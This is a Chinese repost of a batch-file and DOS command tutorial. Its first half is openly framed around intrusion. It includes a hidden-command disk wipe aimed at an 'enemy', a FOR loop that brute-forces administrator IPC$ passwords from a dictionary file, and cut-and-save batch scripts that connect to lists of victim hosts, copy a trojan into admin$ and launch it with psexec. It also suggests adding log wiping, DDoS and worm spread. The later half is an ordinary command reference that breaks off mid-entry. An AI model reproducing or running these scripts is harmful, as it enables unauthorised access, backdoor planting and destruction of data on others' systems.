dos(bat)(批处理)命令详解【转】

dos(bat)批处理命令详解


批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批 处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到 的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

一.简单批处理内部命令简介 

1.Echo 命令

打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 

语法:

echo [{on│off}] [message] 
Sample:@echo off / echo hello world 

在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命

令到特定格式的文件中.这将在以后的例子中体现出来。 

2.@ 命令 

表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使

用的命令啦。

Sample:@echo off 
@echo Now initializing the program,please wait a minite... 
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这

个参数给我们,效果和/y是一样的。) 

3.Goto 命令

指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 

语法:goto label (label是参数,指定所要转向的批处理程序中的行。) 
Sample: 
if {%1}=={} goto noparms 
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) 
@Rem check parameters if null show usage 
:noparms 
echo Usage: monitor.bat ServerIP PortNumber 
goto end 

标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令

就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 

4.Rem 命令 

注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你

自己日后修改。

Rem Message 
Sample:@Rem Here is the description. 

5.Pause 命令 

运行 Pause 命令时,将显示下面的消息: 
Press any key to continue . . . 

Sample: 
@echo off 
:begin 
copy a:*.* d:\back 
echo Please put a new disk into driver A 
pause 
goto begin 

在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入

驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。 

6.Call 命令 

从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签

。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。

语法: 
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 

参数: 
[Drive:}[Path] FileName 

指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 

7.start 命令 

调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 
常用参数: 
MIN 开始时窗口最小化 
SEPARATE 在分开的空间内开始 16 位 Windows 程序 
HIGH 在 HIGH 优先级类别开始应用程序 
REALTIME 在 REALTIME 优先级类别开始应用程序 
WAIT 启动应用程序并等候它结束 
parameters 这些为传送到命令/程序的参数 

执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE不等应用程序终止就返回命令提示。如果在命令脚本

内执行,该新行为则不会发生。

8.choice 命令 

choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提

示可输入的字符,之间无空格。它的返回码为1234...... 

如: choice /c:dme defrag,mem,end 

将显示 
defrag,mem,end[D,M,E]? 

Sample: 
Sample.bat的内容如下: 

@echo off 
choice /c:dme defrag,mem,end 
if errorlevel 3 goto defrag (应先判断数值最高的错误码) 
if errorlevel 2 goto mem 
if errotlevel 1 goto end 

:defrag 
c:\dos\defrag 
goto end 
:mem 
mem 
goto end 
:end 
echo good bye 

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行

标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后

都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。 

9.If 命令 

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 

有三种格式: 

1)、if "参数" == "字符串"  待执行的命令 
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 

如if "%1"=="a" format a: 
if {%1}=={} goto noparms 
if {%2}=={} goto noparms 

2)、if exist 文件名  待执行的命令 
如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如if exist config.sys edit config.sys 

3)、if errorlevel / if not errorlevel 数字  待执行的命令 
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。

如if errorlevel 2 goto x2  

DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。 

10.for 命令

for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。 
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable 

for {%variable│%%variable} in (set) do command [ CommandLineOptions] 
%variable 指定一个单一字母可替换的参数。 
(set) 指定一个或一组文件。可以使用通配符。 
command 指定对每个文件执行的命令。 
command-parameters 为特定命令指定参数或命令行开关。 

在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable 
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I 

如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持: 
FOR /D %variable IN (set) DO command [command-parameters] 

如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。 

FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters] 

检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用

当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。 

FOR /L %variable IN (start,step,end) DO command [command-parameters] 

该集表示以增量形式从开始到结束的一个数字序列。 
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 
序列 (5 4 3 2 1)。 

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN ('command') DO command 

或者,如果有 usebackq 选项: 

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN ('command') DO command 

filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读

取并经过处理。 
处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字

符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白

行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同

解析选项的关键字。这些关键字为: 

eol=c - 指一个行注释字符的结尾(就一个) 
skip=n - 指在文件开始时忽略的行数。 
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的 
格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号,那么额外的变量将在最后一

个符号解析之分配并接受行的保留文本。 
usebackq - 指定新语法已在下类情况中使用: 
在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 file-set中使用双引号扩起

文件名称。 

sample1: 
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 

会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 

程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 

%j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用

双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会

被理解成是用作定义某个要分析的字符串的。 

%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 

一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量是单一字

母、分大小写和全局的;同时不能有 52 个以上都在使用中。 

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。

这样,该字符串会被当作一个文件中的一个单一输入行。 

最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符

串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此

,以下例子: 

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 

会枚举当前环境中的环境变量名称。 

另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法: 

~I - 删除任何引号("),扩充 %I 
%~fI - 将 %I 扩充到一个完全合格的路径名 
%~dI - 仅将 %I 扩充到一个驱动器号 
%~pI - 仅将 %I 扩充到一个路径 
%~nI - 仅将 %I 扩充到一个文件名 
%~xI - 仅将 %I 扩充到一个文件扩展名 
%~sI - 扩充的路径只含有短名 
%~aI - 将 %I 扩充到文件的文件属性 
%~tI - 将 %I 扩充到文件的日期/时间 
%~zI - 将 %I 扩充到文件的大小 
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变

量未被定义,或者没有找到文件,此组合键会扩充空字符串 

可以组合修饰符来得到多重结果: 

%~dpI - 仅将 %I 扩充到一个驱动器号和路径 
%~nxI - 仅将 %I 扩充到一个文件名和扩展名 
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。 
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR 

在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 

%I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。 

以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。 

sample2: 

利用For命令来实现对一台目标Win2k主机的暴力密码破解。

我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下

密码。 
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给

find命令-- 
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完

成">>D:\ok.txt ,这样就ko了。 

sample3: 

你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会

变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵

,看下去你就会明白了。

主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable) 
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k 
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数

%i %j %k。 
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码

(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。 
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容

是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。


代码雏形: 
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

------ 
@echo off 
@if "%1"=="" goto usage 
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k 
@goto end 
:usage 
@echo run this batch in dos modle.or just double-click it. 
:end 
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

------ 


------------------- cut here then save as a batchfile(I call it door.bat) ------------------

----------- 
@net use \\%1\ipc$ %3 /u:"%2" 
@if errorlevel 1 goto failed 
@echo Trying to establish the IPC$ connection ............OK 
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 

>>ko.txt 
@psexec \\%1 c:\winnt\system32\windrv32.exe 
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt 
:failed 
@echo Sorry can not connected to the victim. 
----------------- cut here then save as a batchfile(I call it door.bat) --------------------

------------ 

这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一

目录下.批处理内容 
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功

能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. 


二.如何在批处理文件中使用参数 

批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见

,我们就不考虑它了。

sample1:fomat.bat 

@echo off 
if "%1"=="a" format a: 
:format 
@format a:/q/u/auotset 
@echo please insert another disk to driver A. 
@pause 
@goto fomat 
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添

足了~ 

sample2: 

当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令

写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令

了。 
@echo off 
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。 
@if errorlevel 1 echo connection failed 
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了.No.3 


三.如何使用组合命令(Compound Command) 

1.& 

Usage:第一条命令 & 第二条命令 [& 第三条命令...] 

用这种方法可以同时执行多条命令,而不管命令是否执行成功 

Sample: 
C:\>dir z: & dir c:\Ex4rch 
The system cannot find the path specified. 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB 

Directory of c:\Ex4rch 

2002-05-14 23:51 . 
2002-05-14 23:51 .. 
2002-05-14 23:51 14 sometips.gif 

2.&& 
Usage:第一条命令 && 第二条命令 [&& 第三条命令...] 

用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则

一直执行完所有命令; 

Sample: 
C:\>dir z: && dir c:\Ex4rch 
The system cannot find the path specified. 

C:\>dir c:\Ex4rch && dir z: 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB 

Directory of c:\Ex4rch 

2002-05-14 23:55 . 
2002-05-14 23:55 .. 
2002-05-14 23:55 14 sometips.gif 
1 File(s) 14 bytes 
2 Dir(s) 768,671,744 bytes free 
The system cannot find the path specified. 

在做备份的时候可能会用到这种命令会比较简单,如: 
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb 

E:\backup 
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法

可以替换IF exist了.

3.││ 

Usage:第一条命令 ││ 第二条命令 [││ 第三条命令...] 

用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的

命令则一直执行完所有命令; 

Sample: 
C:\Ex4rch>dir sometips.gif ││ del sometips.gif 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB 

Directory of C:\Ex4rch 

2002-05-14 23:55 14 sometips.gif 
1 File(s) 14 bytes 
0 Dir(s) 768,696,320 bytes free 

组合命令使用的例子:

sample: 
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 

>>victim.txt 

 

DOS命令大全

DOS命令大全
一)MD——建立子目录  
1.功能:创建新的子目录 
2.类型:内部命令 
3.格式:MD[盘符:][路径名]〈子目录名〉 
4.使用说明: 
(1)“盘符”:指定要建立子目录的磁盘驱动器字母,若省略,则为当前驱动器; 
(2)“路径名”:要建立的子目录的上级目录名,若缺省则建在当前目录下。 
例:(1)在C盘的根目录下创建名为FOX的子目录;(2)在FOX子目录下再创建USER子目录。 
C:、>MD FOX (在当前驱动器C盘下创建子目录FOX) 
C:、>MD FOX 、USER (在FOX 子目录下再创建USER子目录) 
(二)CD——改变当前目录 
1.功能:显示当前目录 
2.类型:内部命令 
3.格式:CD[盘符:][路径名][子目录名] 
4.使用说明: 
(1)如果省略路径和子目录名则显示当前目录; 
(2)如采用“CD、”格式,则退回到根目录; 
(3)如采用“CD.。”格式则退回到上一级目录。 
例:(1)进入到USER子目录;(2)从USER子目录退回到子目录;(3)返回到根目录。 
C:、>CD FOX 、USER(进入FOX子目录下的USER子目录) 
C:、FOX、USER>CD.。 (退回上一级根目录) 
C:、FOX>CD、 (返回到根目录) 
C:、> 
(三)RD——删除子目录命令 
1.功能:从指定的磁盘删除了目录。 
2.类型:内部命令 
3.格式:RD[盘符:][路径名][子目录名] 
4.使用说明: 
(1)子目录在删除前必须是空的,也就是说需要先进入该子目录,使用DEL(删除文件的命令)将其子目录下的文件删空,然后再退回到上一级目录,用RD命令删除该了目录本身; 
(2)不能删除根目录和当前目录。 
例:要求把C盘FOX子目录下的USER子目录删除,操作如下: 
第一步:先将USER子目录下的文件删空; 
C、>DEL C:、FOX、USER、*。* 
第二步,删除USER子目录。 
C、>RD C:、FOX、USER 
(四)DIR——显示磁盘目录命令 
1.功能:显示磁盘目录的内容。 
2.类型:内部命令 
3.格式:DIR [盘符][路径][/P][/W] 
4.
使用说明:/P的使用;当欲查看的目录太多,无法在一屏显示完屏幕会一直往上卷,不容易看清,加上/P参数后,屏幕上会分面一次显示23行的文件信息,然后暂停,并提示;Press
any key to continue 
/W的使用:加上/W只显示文件名,至于文件大小及建立的日期和时间则都省略。加上参数后,每行可以显示五个文件名。 
PATH——路径设置命令 
1.功能:设备可执行文件的搜索路径,只对文件有效。 
2.类型:内部命令 
3.格式:PATH[盘符1]目录[路径名1]{[;盘符2:],〈目录路径名2〉…} 
4.使用说明: 
(1)当运行一个可执行文件时,DOS会先在当前目录中搜索该文件,若找到则运行之;若找不到该文件,则根据PATH命令所设置的路径,顺序逐条地到目录中搜索该文件; 
(2)PATH命令中的路径,若有两条以上,各路径之间以一个分号“;”隔开; 
(3)PATH命令有三种使用方法: 
PATH[盘符1:][路径1][盘符2:][路径2]…(设定可执行文件的搜索路径)  PATH:(取消所有路径) 
PATH:(显示目前所设的路径) 
(六)TREE——显示磁盘目录结构命令 
1.功能:显示指定驱动器上所有目录路径和这些目录下的所有文件名。 
2.类型:外部命令 
3.格式:TREE[盘符:][/F][》PRN] 
4.使用说明: 
(1)使用/F参数时显示所有目录及目录下的所有文件,省略时,只显示目录,不显示目录下的文件; 
(2)选用>PRN参数时,则把所列目录及目录中的文件名打印输出。 
(七)DELTREE——删除整个目录命令 
1.功能:将整个目录及其下属子目录和文件删除。 
2.类型:外部命令 
3.格式:DELTREE[盘符:]〈路径名〉 
4.使用说明:该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除,而且不管文件的属性为隐藏、系统或只读,只要该文件位于删除的目录之下,DELTREE都一视同仁,照删不误。使用时务必小心!!! 
五、磁盘操作类命令 
(一)formAT——磁盘格式化命令 
1.功能:对磁盘进行格式化,划分磁道和扇区;同时检查出整个磁盘上有无带缺陷的磁道,对坏道加注标记;建立目录区和文件分配表,使磁盘作好接收DOS的准备。 
2.类型:外部命令 
3.格式:formAT〈盘符:〉[/S][/4][/Q] 
4.使用说明: 
(1)命令后的盘符不可缺省,若对硬盘进行格式化,则会如下列提示:WARNING:ALL DATA ON NON
——REMOVABLE DISK 
DRIVE C:WILL BE LOST ! 
Proceed with format (Y/N)? 
(警告:所有数据在C盘上,将会丢失,确实要继续格式化吗?) 
(2)若是对软盘进行格式化,则会如下提示:Insert mew diskette for drive A; 
and press ENTER when ready… 
(在A驱中插入新盘,准备好后按回车键)。 
(3)选用[/S]参数,将把DOS系统文件IO.SYS
、MSDOS.SYS及COMMAND.COM复制到磁盘上,使该磁盘可以做为DOS启动盘。若不选用/S参数,则格式化后的磙盘只能读写信息,而不能做为启动盘; 
(4)选用[/4]参数,在1.2MB的高密度软驱中格式化360KB的低密度盘; 
(5)选用[/Q]参数,快速格式化,这个参数并不会重新划分磁盘的磁道貌岸然和扇区,只能将磁盘根目录、文件分配表以及引导扇区清成空白,因此,格式化的速度较快。 
(6)选用[/U]参数,表示无条件格式化,即破坏原来磁盘上所有数据。不加/U,则为安全格式化,这时先建立一个镜象文件保存原来的FAT表和根目录,必要时可用UNFORRMAT恢复原来的数据。 
(二)UNformAT恢复格式化命令 
1.功能:对进行过格式化误操作丢失数据的磁盘进行恢复。 
2.类型:外部命令 
3.格式:UNformAT〈盘符〉[/L][/U][/P][/TEST] 
4.使用说明:用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区(包括FAT、根目录、BOOT扇区及硬盘分区表)受损时,也可以用UNformAT来抢救。 
(1)选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息,但不会真的做formAT工作。 
(2)选用/P参数将显示于屏幕的报告(包含/L参数所产生的信息)同时也送到打印机。运行时屏幕会显示:“Print out will
be sent to LPT1” 
(3)选用/TEST参数只做模拟试验(TEST)不做真正的写入动作。使用此参数屏幕会显示:“Simulation only” 
(4)选用/U参数不使用MIRROR映像文件的数据,直接根据磁盘现状进行UNformAT。 
(5)选用/PSRTN;修复硬盘分区表。 
若在盘符之后加上/P、/L、/TEST之一,都相当于使用了/U参数,UNformAT会“假设”此时磁盘没有MIRROR映像文件。 
注意:UNformAT对于刚formAT的磁盘,可以完全恢复,但formAT后若做了其它数据的写入,则UNformAT就不能完整的救回数据了。UNformAT并非是万能的,由于使用UNformAT会重建FAT与根目录,所以它也具有较高的危险性,操作不当可能会扩大损失,如果仅误删了几个文件或子目录,只需要利用UNDELETE就够了。
三) CHKDSK——检查磁盘当前状态命令 
1.功能:显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。 
2.类型:外部命令 
3.格式:CHKDSK [盘符:][路径][文件名][/F][/V] 
4.使用说明: 
(1)选用[文件名]参数,则显示该文件占用磁盘的情况; 
(2)选[/F]参数,纠正在指定磁盘上发现的逻辑错误; 
(3)选用[/V]参数,显示盘上的所有文件和路径。 
(四)DISKCOPY——整盘复制命令 
1.功能:复制格式和内容完全相同的软盘。 
2.类型:外部命令 
3.格式:DISKCOPY[盘符1:][盘符2:] 
4.使用说明: 
(1)如果目标软盘没有格式化,则复制时系统自动选进行格式化。 
(2)如果目标软盘上原有文件,则复制后将全部丢失。 
(3)如果是单驱动器复制,系统会提示适时更换源盘和目标盘,请操作时注意分清源盘和目标盘。 
(五)LABEL——建立磁盘卷标命令 
1.功能:建立、更改、删除磁盘卷标。 
2.类型:外部命令 
3.格式:LABEL[盘符:][卷标名] 
4.使用说明: 
(1)卷标名为要建立的卷标名,若缺省此参数,则系统提示键入卷标名或询问是否删除原有的卷标名; 
(2)卷标名由1至11个字符组成。 
(六)VOL——显示磁盘卷标命令 
1.功能:查看磁盘卷标号。 
2.类型:内部命令 
3.格式:VOL[盘符:] 
4.使用说明:省略盘符,显示当前驱动器卷标。 
(七)SCANDISK——检测、修复磁盘命令 
1.功能:检测磁盘的FAT表、目录结构、文件系统等是否有问题,并可将检测出的问题加以修复。 
2.类型:外部命令 
3.格式:SCANDISK[盘符1:]{[盘符2:]…}[/ALL] 
4.使用说明: 
(1)CCANDISK适用于硬盘和软盘,可以一次指定多个磁盘或选用[/ALL]参数指定所有的磁盘; 
(2)可自动检测出磁盘中所发生的交叉连接、丢失簇和目录结构等逻辑上的错误,并加以修复。 
(八)DEFRAG——重整磁盘命令 
1.。功能:整理磁盘,消除磁盘碎块。 
2.类型:外部命令 
3.格式:DEFRAG[盘符:][/F] 
4.使用说明:选用/F参数,将文件中存在盘上的碎片消除,并调整磁盘文件的安排,确保文件之间毫无空隙。从而加快读盘速度和节省磁盘空间。 
(九)SYS——系统复制命令 
1.功能:将当前驱动器上的DOS系统文件IO.SYS,MSDOS.SYS和COMMAND.COM 传送到指定的驱动器上。 
2.类型:外部命令 
3.格式:SYS[盘符:] 
*使用说明:如果磁盘剩余空间不足以存放系统文件,则提示:No roomfor on destination disk. 

文件操作类命令 
(一) COPY文件复制命令 
1.功能:拷贝一个或多个文件到指定盘上。 
2.类型:内部命令 
3.格式:COPY [源盘][路径]〈源文件名〉[目标盘][路径][目标文件名] 
4.使用说明: 
(1)COPY是文件对文件的方式复制数据,复制前目标盘必须已经格式化; 
(2)复制过程中,目标盘上相同文件名称的旧文件会被源文件取代; 
(3)复制文件时,必须先确定目标般有足够的空间,否则会出现;insufficient的错误信息,提示磁盘空间不够; 
(4)文件名中允许使用通配举“*”“?”,可同时复制多个文件; 
(5)COPY命令中源文件名必须指出,不可以省略。 
(6)复制时,目标文件名可以与源文件名相同,称作“同名拷贝”此时目标文件名可以省略; 
(7)复制时,目标文件名也可以与源文件名不相同,称作“异名拷贝”,此时,目标文件名不能省略; 
(8)复制时,还可以将几个文件合并为一个文件,称为“合并拷贝”,格式如下:COPY;[源盘][路径]〈源文件名1〉〈源文件名2〉…[目标盘][路径]〈目标文件名〉; 
(9)利用COPY命令,还可以从键盘上输入数据建立文件,格式如下:COPY CON [盘符:][路径]〈文件名〉; 
(10)注意:COPY命令的使用格式,源文件名与目标文件名之间必须有空格! 
(二)XCOPY——目录复制命令 
1.功能:复制指定的目录和目录下的所有文件连同目录结构。 
2.类型:外部命令 
3.格式:XCOPY [源盘:]〈源路径名〉[目标盘符:][目标路径名][/S][/V][/E] 
4.使用说明: 
(1)XCOPY是COPY的扩展,可以把指定的目录连文件和目录结构一并拷贝,但不能拷贝隐藏文件和系统文件; 
(2)使用时源盘符、源目标路径名、源文件名至少指定一个; 
(3)选用/S时对源目录下及其子目录下的所有文件进行COPY。除非指定/E参数,否则/S不会拷贝空目录,若不指定/S参数,则XCOPY只拷贝源目录本身的文件,而不涉及其下的子目录; 
(4)选用/V参数时,对的拷贝的扇区都进行较验,但速度会降低。 
(三)TYPE——显示文件内容命令 
1.功能:显示ASCII码文件的内容。 
2.类型:内部命令。 
3.格式:TYPE[盘符:][路径]〈文件名〉 
4.使用说明: 
(1)显示由ASCII码组成的文本文件,对。EXE.COM等为扩展名的文件,其显示的内容是无法阅读的,没有实际意义2; 
(2)该命令一次只可以显示一个文件的内容,不能使用通配符; 
(3)如果文件有扩展名,则必须将扩展名写上; 
(4)当文件较长,一屏显示不下时,可以按以下格式显示;TYPE[盘符:][路径]〈文件名〉|MORE,MORE为分屏显示命令,使用些参数后当满屏时会暂停,按任意键会继续显示。 
(5)若需将文件内容打印出来,可用如下格式: 
TYPE[盘符:][路径]〈文件名〉,>PRN 
此时,打印机应处于联机状态。 
(四) REN——文件改名命令 
1.功能:更改文件名称 
2.类型:内部命令 
3.格式:REN[盘符:][路径]〈旧文件名〉〈新文件名〉 
4.使用说明: 
(1)新文件名前不可以加上盘符和路径,因为该命令只能对同一盘上的文件更换文件名; 
(2)允许使用通配符更改一组文件名或扩展名。 
(五)FC——文件比较命令 
1.功能:比较文件的异同,并列出差异处。 
2.类型:外部命令 
3.格式:FC[盘符:][路径名]〈文件名〉[盘符:][路径名][文件名][/A][/B][/C][/N] 
4.使用说明: 
(1)选用/A参数,为ASCII码比较模式; 
(2)选用/B参数,为二进制比较模式; 
(3)选用/C参数,将大小写字符看成是相同的字符。 
(4)选用/N参数,在ASCII码比较方式下,显示相异处的行号。 
(六)ATTRIB——修改文件属性命令 
1.功能:修改指定文件的属性。(文件属性参见2.5.4(二)文件属性一节) 
2.类型:外部命令。 
3.格式:ATTRIB[文件名][R][——R][A][——A][H][——H][——S] 
4.使用说明: 
(1)选用R参数,将指定文件设为只读属性,使得该文件只能读取,无法写入数据或删除;选用——R参数,去除只读属性; 
(2)选用A参数,将文件设置为档案属性;选用——A参数,去除档案属性;  (3)选用H参数,将文件调协为隐含属性;选用——H参数,去隐含属性; 
(4)选用S参数,将文件设置为系统属性;选用——S参数,去除系统属性;  (5)选用/S参数,对当前目录下的所有子目录及作设置。 
七) DEL——删除文件命令 
1.功能:删除指定的文件。 
2.类型:内部命令 
3.格式:DEL[盘符:][路径]〈文件名〉[/P] 
4.使用说明: 
(1)选用/P参数,系统在删除前询问是否真要删除该文件,若不使用这个参数,则自动删除; 
(2)该命令不能删除属性为隐含或只读的文件;
(3)在文件名称中可以使用通配符;
(4)若要删除磁盘上的所有文件(DEL*·*或DEL·),则会提示:(Arey ou sure?)(你确定吗?)若回答Y,则进行删除,回答N,则取消此次删除作业。
    (八) UNDELETE——恢复删除命令
    1.功能:恢复被误删除命令
    2.类型:外部命令。
    3.格式:UNDELETE[盘符:][路径名]〈文件名〉[/DOS]/LIST][/ALL]
    4.使用说明:使用UNDELETE可以使用“*”和“?”通配符。
    (1)选用/DOS参数根据目录里残留的记录来恢复文件。由于文件被删除时,目录所记载斩文件名第一个字符会被改为E5,DOS即依据文件开头的E5和其后续的字符来找到欲恢复的文件,所以,UNDELETE会要求用户输入一个字符,以便将文件名字补齐。但此字符不必和原来的一样,只需符合DOS的文件名规则即可。
    (2)选用/LIST只“列出”符合指定条件的文件而不做恢复,所以对磁盘内容完全不会有影响。
    (3)选用/ALL自动将可完全恢复的文件完全恢复,而不一一地询问用户,使用此参数时,若UNDELTE利用目录里残留的记录来将文件恢复,则会自动选一个字符将文件名补齐,并且使其不与现存文件名相同,选用字符的优选顺序为:#%——0000123456789A~Z。


   
        UNDELETE还具有建立文件的防护措施的功能,已超出本课程授课范围,请读者在使用些功能时查阅有关DOS手册。

    七、其它命令
    (一)CLS——清屏幕命令
    1功能:清除屏幕上的所有显示,光标置于屏幕左上角。
    2类型:内部命令
    3格式:CLS
    (二) VER查看系统版本号命令
    1功能:显示当前系统版本号
    2类型:内部命令
    3格式:VER
    (三) DATA日期设置命令
    1功能:设置或显示系统日期。
    2类型:内部命令
    3格式:DATE[mm——dd——yy]
    4使用说明:
